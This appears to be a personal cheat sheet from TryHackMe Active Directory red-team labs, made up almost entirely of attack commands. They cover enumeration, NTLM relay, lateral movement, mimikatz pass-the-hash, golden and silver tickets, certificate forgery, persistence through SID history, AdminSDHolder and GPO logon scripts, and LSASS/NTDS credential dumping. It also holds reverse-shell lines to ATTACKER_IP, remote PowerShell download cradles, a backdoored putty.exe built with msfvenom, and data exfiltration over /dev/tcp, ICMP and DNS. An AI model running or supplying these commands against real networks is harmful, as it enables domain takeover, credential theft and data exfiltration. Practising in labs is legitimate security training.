# Enumeration # Credential Injection runas.exe /netonly /user:<domain>\<username> cmd.exe # enumeration users users net user /domain groups net group /domain # Password Policy net accounts /domain # bloodhound SSharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs sudo neo4j console bloodhound --no-sandbox https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html # NTLM Authenticated Services python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/ # LDAP Bind Credentials [+] LDAP Pass-back Attacks * hosting rogue ldap sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd sudo dpkg-reconfigure -p low slapd downgrade auth olcSaslSecProps.ldif #olcSaslSecProps.ldif dn: cn=config replace: olcSaslSecProps olcSaslSecProps: noanonymous,minssf=0,passcred olcSaslSecProps: Specifies the SASL security properties noanonymous: Disables mechanisms that support anonymous login minssf: Specifies the minimum acceptable security strength with 0, meaning no protection. sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms dn: supportedSASLMechanisms: PLAIN supportedSASLMechanisms: LOGIN sudo tcpdump -SX -i breachad tcp port 389 # Authentication Relays sudo responder -I breachad hashcat -m 5600 <hash file> <password file> --force # PXE powerpxe "\Tmp\x64{39...28}.bcd" conf.bcd Import-Module .\PowerPXE.ps1 $BCDFile = "conf.bcd" Get-WimFile -bcdFile $BCDFile Get-FindCredentials -WimFile pxeboot.wim # lateral movement and pivoting # Spawning Processes Remotely Psexec (port 445) Required Group Memberships: Administrators PsExec64.exe \\10.200.75.101 -u Administrator -p Mypass123 -i cmd.exe Winrm (5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)) Required Group Memberships: Remote Management Users winrs.exe -u:Administrator -p:Mypass123 -r:target cmd using powershell $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Enter-PSSession -Computername TARGET -Credential $credential Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami} Remotely Creating Services Using sc Ports: 135/TCP, 49152-65535/TCP (DCE/RPC) 445/TCP (RPC over SMB Named Pipes) 139/TCP (RPC over SMB Named Pipes) Required Group Memberships: Administrators create service sc.exe \\TARGET create THMservice binPath= "net user t1_leonard.summers Pass123" start= auto sc.exe \\TARGET start THMservice remove service sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMservice msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever overcome new token generate when runas runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.67.155 4443" run rev shell using powershell sc.exe \\thmiis.za.tryhackme.com create THMservice-3243 binPath= "cmd.exe /c powershell -ep bypass iex(New-Object Net.Webclient).DownloadString('http://10.50.67.155/Invoke-PowerShellTcp.ps1')" start= auto sc.exe \\thmiis.za.tryhackme.com start THMservice-3243 # Creating Scheduled Tasks Remotely schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s TARGET /run /TN "THMtask1" schtasks /S TARGET /TN "THMtask1" /DELETE /F # Moving Laterally Using WMI WMI session using either of the following protocols: DCOM: RPC over IP will be used for connecting to WMI. This protocol uses port 135/TCP and ports 49152-65535/TCP, just as explained when using sc.exe. Wsman: WinRM will be used for connecting to WMI. This protocol uses ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS). ``` $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; $Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop ``` Remote Process Creation Using WMI Ports: 135/TCP, 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Required Group Memberships: Administrators $Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere"; Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command } wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" Creating Services Remotely with WMI Ports: 135/TCP, 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Required Group Memberships: Administrators Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "THMService2"; DisplayName = "THMService2"; PathName = "net user munra2 Pass123 /add"; # Your payload ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process StartMode = "Manual" } And then, we can get a handle on the service and start it with the following commands: $Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'" Invoke-CimMethod -InputObject $Service -MethodName StartService Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName Delete Creating Scheduled Tasks Remotely with WMI Ports: 135/TCP, 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Required Group Memberships: Administrators # Payload must be split in Command and Args $Command = "cmd.exe" $Args = "/c net user munra22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" Start-ScheduledTask -CimSession $Session -TaskName "THMtask2" Installing MSI packages through WMI Ports: 135/TCP, 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Required Group Memberships: Administrators Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false} wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi # Use of Alternate Authentication Material Extracting NTLM hashes from local SAM privilege::debug token::elevate lsadump::sam Extracting NTLM hashes from LSASS memory privilege::debug token::elevate sekurlsa::msv pass the hash token::revert sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555" Connect to RDP using PtH xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH Connect via psexec using PtH psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP Connect to WinRM using PtH evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH Pass-the-Ticket privilege::debug sekurlsa::tickets /export kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi Overpass-the-hash / Pass-the-Key privilege::debug sekurlsa::ekeys sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" # Abusing User Behaviour Backdooring .vbs Scripts CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True Backdooring .exe Files msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe RDP hijacking close rdp session without logout. query users query user session with a Disc state has been left open run cmd as Administrator PsExec64.exe -s cmd.exe tscon 3 /dest:rdp-tcp#6 # Port Forwarding SSH Tunnelling ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80 ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7777:127.0.0.1:7777 -N Port Forwarding With socat socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321 socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389 netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389 Dynamic Port Forwarding and SOCKS ssh tunneluser@1.1.1.1 -R 9050 -N # Exploiting Permission Delegation ForceChangePassword: We have the ability to set the user's current password without knowing their current password. AddMembers: We have the ability to add users (including our own account), groups or computers to the target group. GenericAll: We have complete control over the object, including the ability to change the user's password, register an SPN or add an AD object to the target group. GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example, update the scriptPath parameter, which would cause a script to execute the next time the user logs on. WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object. WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that grants our account full control over the target object. AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target object. This includes, for example, the ability to force change a user's password. Add-ADGroupMember "IT Support" -Members "sharon.khan" Get-ADGroupMember -Identity "IT Support" ForceChangePassword Get-ADGroupMember -Identity "Tier 2 Admins" change password $Password = ConvertTo-SecureString "P@ssw0rd1337" -AsPlainText -Force Set-ADAccountPassword -Identity "t2_melanie.davies" -Reset -NewPassword $Password force update gpupdate /force # Exploiting Kerberos Delegation TRUSTED_FOR_DELEGATION flag msDS-AllowedToActOnBehalfOfOtherIdentity Import-Module C:\Tools\PowerView.ps1 Get-NetUser -TrustedToAuth mimikatz token::elevate lsadump::secrets kekeo.exe generate tgt tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@ tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc user - The user we want to impersonate. command generate tgt use mimikatz to inject tickets privilege::debug kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi interact with server New-PSSession -ComputerName thmserver1.za.tryhackme.loc Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc # Exploiting Automated Relays identify machine account has administrative access over another machine bloodhound query MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p The Printer Bug Print Spooler Service use wmi query GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc SMB Signing nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc Exploiting Authentication Relays https://github.com/leechristensen/SpoolSample step ntlm Relay impacket-ntlmrelayx -smb2support -t smb://10.200.60.201 -c 'whoami /all' -debug impacket-ntlmrelayx -smb2support -t smb://10.200.60.201 -c "cmd.exe /c powershell -ep bypass iex(New-Object Net.Webclient).DownloadString('http://10.50.67.155:81/Invoke-PowerShellTcp.ps1')" -debug SpoolSample.exe THMSERVER2.za.tryhackme.loc 10.50.57.65 look for file Get-ChildItem -Recurse *.kdbx # Exploiting Certificates Finding Vulnerable Certificate Templates certutil -Template -v > templates.txt https://github.com/GhostPack/PSPKIAudit parameters Client Authentication - The certificate can be used for Client Authentication. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN). CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key. Certificate Permissions - We have the required permissions to use the certificate template. Click Start->run Type mmc and hit enter Click File->Add/Remove Snap-in.. Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts. Click OK Right Click on Personal and select All Tasks->Request New Certificate... Click Next twice to select the AD enrollment policy. You will see that we have one template that we can request, but first, we need to provide additional information. Click on the More Information warning. Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add. Change the Alternative name Type option to User principal name. Supply the UPN of the user you want to impersonate. The best would be a DA account such as Administrator@za.tryhackme.loc and click Add. Right-click on the certificate and select All Tasks->Export... Click Next, select Yes, export the private key, and click Next. Click Next, then set a password for the certificate since the private key cannot be exported without a password. Click Next and select a location to store the certificate. Click Next and finally click Finish. Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller> /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert /certificate - Path to the certificate we have generated /password - The password for our certificate file /outfile - The file where our TGT will be output to /domain - The FQDN of the domain we are currently attacking /dc - The IP of the domain controller which we are requesting the TGT from. Usually it is best to select a DC that has a CA service running mimikatz privilege::debug kerberos::ptt administrator.kirbi create service sc.exe \\THMDC.za.tryhackme.loc create THMservice-3243 binPath= "cmd.exe /c powershell -ep bypass iex(New-Object Net.Webclient).DownloadString('http://10.50.57.65:81/Invoke-PowerShellTcp.ps1')" start= auto sc.exe \\THMDC.za.tryhackme.loc start THMservice-3243 # Exploiting Domain Trusts dump krbtgt privilege::debug lsadump::dcsync /user:za\krbtgt Inter-Realm TGTs access resource on other domain Mimikatz can assist with this, allowing us to set the ExtraSids section of the KERB_VALIDATION_INFO structure of the Kerberos TGT. the ExtraSids section is described as “A pointer to a list of KERB_SID_AND_ATTRIBUTES structures that contain a list of SIDs corresponding to groups in domains other than the account domain to which the principal belongs”. SID of the Enterprise Admins (EA) group as an extra SID two SIDs: The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT Get-ADComputer -Identity "THMDC" The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc Exploiting Domain Trusts privilege::debug kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptt sc.exe \\thmrootdc.tryhackme.loc create THMservice-3243 binPath= "cmd.exe /c powershell -ep bypass iex(New-Object Net.Webclient).DownloadString('http://10.50.57.65:81/Invoke-PowerShellTcp.ps1')" start= auto sc.exe \\thmrootdc.tryhackme.loc start THMservice-3243 ############## Persisting Active Directory ######### we should attempt to persist through credentials such as the following: Credentials that have local administrator rights on several machines. Usually, organisations have a group or two with local admin rights on almost all computers. These groups are typically divided into one for workstations and one for servers. By harvesting the credentials of members of these groups, we would still have access to most of the computers in the estate. Service accounts that have delegation permissions. With these accounts, we would be able to force golden and silver tickets to perform Kerberos delegation attacks. Accounts used for privileged AD services. If we compromise accounts of privileged services such as Exchange, Windows Server Update Services (WSUS), or System Center Configuration Manager (SCCM), we could leverage AD exploitation to once again gain a privileged foothold. mimikatz lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username> lsadump::dcsync /domain:za.tryhackme.loc /all # Persistence through Tickets get all parameters Get-ADDomain domain name domain sid user id silver ticket the generated TGS is signed by the machine account of the host we are targeting. kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt /admin - The username we want to impersonate. This does not have to be a valid user. /domain - The FQDN of the domain we want to generate the ticket for. /id -The user RID. By default, Mimikatz uses RID 500, which is the default Administrator account RID. /sid -The SID of the domain we want to generate the ticket for. /target - The hostname of our target server. Let's do THMSERVER1.za.tryhackme.loc, but it can be any domain-joined host. /rc4 - The NTLM hash of the machine account of our target. Look through your DC Sync results for the NTLM hash of THMSERVER1$. The $ indicates that it is a machine account. /service - The service we are requesting in our TGS. CIFS is a safe bet, since it allows file access. /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used. golden ticket kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt /admin - The username we want to impersonate. This does not have to be a valid user. /domain - The FQDN of the domain we want to generate the ticket for. /id -The user RID. By default, Mimikatz uses RID 500, which is the default Administrator account RID. /sid -The SID of the domain we want to generate the ticket for. /krbtgt -The NTLM hash of the KRBTGT account. /endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes) /renewmax -The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes) /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used. # Persistence through Certificates Extracting the Private Key Active Directory Certificate Services (AD CS) for internal purposes, it is protected by the machine Data Protection API (DPAPI) Mimikatz and SharpDPAPI mimikatz view the certificates stored on the DC: crypto::certificates /systemstore:local_machine export keys mimikatz privilege::debug crypto::capi crypto::cng crypto::certificates /systemstore:local_machine /export note: . In order to export the private key, a password must be used to encrypt the certificate. By default, Mimikatz assigns the password of mimikatz Generating our own Certificates https://github.com/GhostPack/ForgeCert ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 CaCertPath - The path to our exported CA certificate. CaCertPassword - The password used to encrypt the certificate. By default, Mimikatz assigns the password of mimikatz. Subject - The subject or common name of the certificate. This does not really matter in the context of what we will be using the certificate for. SubjectAltName - This is the User Principal Name (UPN) of the account we want to impersonate with this certificate. It has to be a legitimate user. NewCertPath - The path to where ForgeCert will store the generated certificate. NewCertPassword - Since the certificate will require the private key exported for authentication purposes, we must set a new password used to encrypt it. generate tgt using certificate Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc: /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert /certificate - Path to the certificate we have generated /password - The password for our certificate file /outfile - The file where our TGT will be output to /domain - The FQDN of the domain we are currently attacking /dc - The IP of the domain controller which we are requesting the TGT from. Usually, it is best to select a DC that has a CA service running load ticket in memory using mimikatz kerberos::ptt administrator.kirbi # Persistence through SID History notes about this persistence technique: We normally require Domain Admin privileges or the equivalent thereof to perform this attack. When the account creates a logon event, the SIDs associated with the account are added to the user's token, which then determines the privileges associated with the account. This includes group SIDs. We can take this attack a step further if we inject the Enterprise Admin SID since this would elevate the account's privileges to effective be Domain Admin in all domains in the forest. Since the SIDs are added to the user's token, privileges would be respected even if the account is not a member of the actual group. Making this a very sneaky method of persistence. We have all the permissions we need to compromise the entire domain (perhaps the entire forest), but our account can simply be a normal user account with membership only to the Domain Users group. We can up the sneakiness to another level by always using this account to alter the SID history of another account, so the initial persistence vector is not as easily discovered and remedied. Get-ADUser <your ad username> -properties sidhistory,memberof Get-ADGroup "Domain Admins" add group sid to user account mimikatz can add sid history https://github.com/MichaelGrafnetter/DSInternals Stop-Service -Name ntds -force Add-ADDBSidHistory -SamAccountName tony.wilson -SidHistory S-1-5-21-3885271727-2693558621-2658995185-512 -DatabasePath C:\Windows\NTDS\ntds.dit Start-Service -Name ntds # Persistence through Group Membership People->IT Organisational Unit (OU) New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security People->Sales OU and add our previous group as a member: New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1" Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5" # Persistence through ACLs Persisting through AD Group Templates AdminSDHolder container container exists in every AD domain, and its Access Control List (ACL) is used as a template to copy permissions to all protected groups. Domain Admins, Administrators, Enterprise Admins, and Schema Admins. process called SDProp takes the ACL of the AdminSDHolder container and applies it to all protected groups every 60 minutes runas /netonly /user:Administrator cmd.exe Once you have an MMC window, add the Users and Groups Snap-in (File->Add Snap-In->Active Directory Users and Groups). Make sure to enable Advanced Features (View->Advanced Features). We can find the AdminSDHolder group under Domain->System: Navigate to the Security of the group (Right-click->Properties->Security): low-privileged user and grant Full Control: Click Add. Search for your low-privileged username and click Check Names. Click OK. Click Allow on Full Control. Click Apply. Click OK. SDProp Import-Module .\Invoke-ADSDPropagation.ps1 Invoke-ADSDPropagation # Persistence through GPOs Domain Wide Persistence The following are some common GPO persistence techniques: Restricted Group Membership - This could allow us administrative access to all hosts in the domain Logon Script Deployment - This will ensure that we get a shell callback every time a user authenticates to a host in the domain. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe runas /netonly /user:Administrator cmd.exe create admin.bat copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/ scp am0_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/ GPO Creation The first step uses our Domain Admin account to open the Group Policy Management snap-in: In your runas-spawned terminal, type MMC and press enter. Click on File->Add/Remove Snap-in... Select the Group Policy Management snap-in and click Add Click OK # Credential Access powershell history C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt reg query HKLM /f password /t REG_SZ /s eg query HKCU /f password /t REG_SZ /s password on REG_SZ password on description Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description # Local Windows Credentials Volume Shadow Copy Service steps Run the standard cmd.exe prompt with administrator privileges. Execute the wmic command to create a copy shadow of C: drive wmic shadowcopy call create Volume='C:\' Verify the creation from step 2 is available. vssadmin list shadows Copy the SAM database from the volume we created in step 2 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam impacket-secretsdump -sam sam -system system LOCAL # Registry Hives reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg reg save HKLM\system C:\users\Administrator\Desktop\system-reg # Local Security Authority Subsystem Service (LSASS) procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full mimikatz Protected LSASS In 2012, Microsoft implemented an LSA protection, to keep LSASS from being accessed to extract credentials from memory. This task will show how to disable the LSA protection and dump credentials from memory using Mimikatz. To enable LSASS protection, we can modify the registry RunAsPPL DWORD value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa to 1. mimikatz # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) 0x00000005 error code message (Access Denied). Lucky for us, Mimikatz provides a mimidrv.sys driver that works on kernel level to disable the LSA protection. We can import it to Mimikatz by executing "!+" as follows, mimikatz # !+ Note: If this fails with an isFileExist error, exit mimikatz, navigate to C:\Tools\Mimikatz\ and run the command again. mimikatz # !processprotect /process:lsass.exe /remove # Credentials Manager There are four credential categories: Web credentials contain authentication details stored in Internet browsers or other applications. Windows credentials contain Windows authentication details, such as NTLM or Kerberos. Generic credentials contain basic authentication details, such as clear-text usernames and passwords. Certificate-based credentials: Athunticated details based on certifications. list available credentials vaultcmd /list check if credentials exists VaultCmd /listproperties:"Web Credentials" Listing Credentials Details VaultCmd /listcreds:"Web Credentials" Credential Dumping https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 powershell -ex bypass Import-Module Get-WebCredentials.ps1 Get-WebCredentials RunAs cmdkey /list runas /savecred /user:THM.red\thm-local cmd.exe Mimikatz privilege::debug sekurlsa::credman # NTDS Domain Controller NTDS.DTS data consists of three tables as follows: Schema table: it contains types of objects and their relationships. Link table: it contains the object attributes and their values. Data type: It contains users and groups. in order to decrypt ntd.dts we must have system boot key to decrypt lsa isolated credential which store on SYSTEM file system Ntdsutil Ntdsutil Ntdsutil is a Windows utility to used manage and maintain Active Directory configurations Restore deleted objects in Active Directory. Perform maintenance for the AD database. Active Directory snapshot management. Set Directory Services Restore Mode (DSRM) administrator passwords. Local Dumping (No Credentials) dump following files C:\Windows\NTDS\ntds.dit powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SECURITY impacket-secretsdump -system SYSTEM -ntds ntds.dit local Remote Dumping (With Credentials) impacket-secretsdump -just-dc THM.red/<AD_Admin_User>@10.10.253.212 impacket-secretsdump -just-dc-ntlm THM.red/<AD_Admin_User>@10.10.253.212 crack hash hashcat -m 1000 -a 0 /path/to/wordlist/such/as/rockyou.txt # Local Administrator Password Solution (LAPS) Group Policy Preferences (GPP) https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 Local Administrator Password Solution (LAPS) ms-mcs-AdmPwd : attribute contains a clear-text password of the local administrator ms-mcs-AdmPwdExpirationTime : contains the expiration time to reset the password LAPS uses admpwd.dll to change the local administrator password and update the value of ms-mcs-AdmPwd Enumerate for LAPS dir "C:\Program Files\LAPS\CSE" Listing the available PowerShell cmdlets for LAPS Get-Command *AdmPwd* Finding Users with AdmPwdExtendedRights Attribute Find-AdmPwdExtendedRights -Identity THMorg Finding Users belong to THMGroupReader Group net groups "THMGroupReader" Getting the Password Get-AdmPwdPassword -ComputerName creds-harvestin ======================= dataxexfilt ========================= tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080 restoring data dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar [+] SSH tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -" [+] http <?php if (isset($_POST['file'])) { $file = fopen("/tmp/http.bs64","w"); fwrite($file, $_POST['file']); fclose($file); } ?> curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php sed -i 's/ /+/g' /tmp/http.bs64 cat /tmp/http.bs64 | base64 -d | tar xvfz - [+] tunnling https://github.com/L-codes/Neo-reGeorg [+] ICMP use auxiliary/server/icmp_exfil set BPF_FILTER icmp and not src ATTACKBOX_IP reverse shell victim icmpdoor -i eth0 -d 192.168.0.133 attacker icmp-cnc -i eth1 -d 192.168.0.121 [+] DNS Exfiltration cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/' cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d [+] DNS tunnling setup NS record value attacker ip run command on attacker vm sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com victim vm sudo iodine -P thmpass att.tunnel.com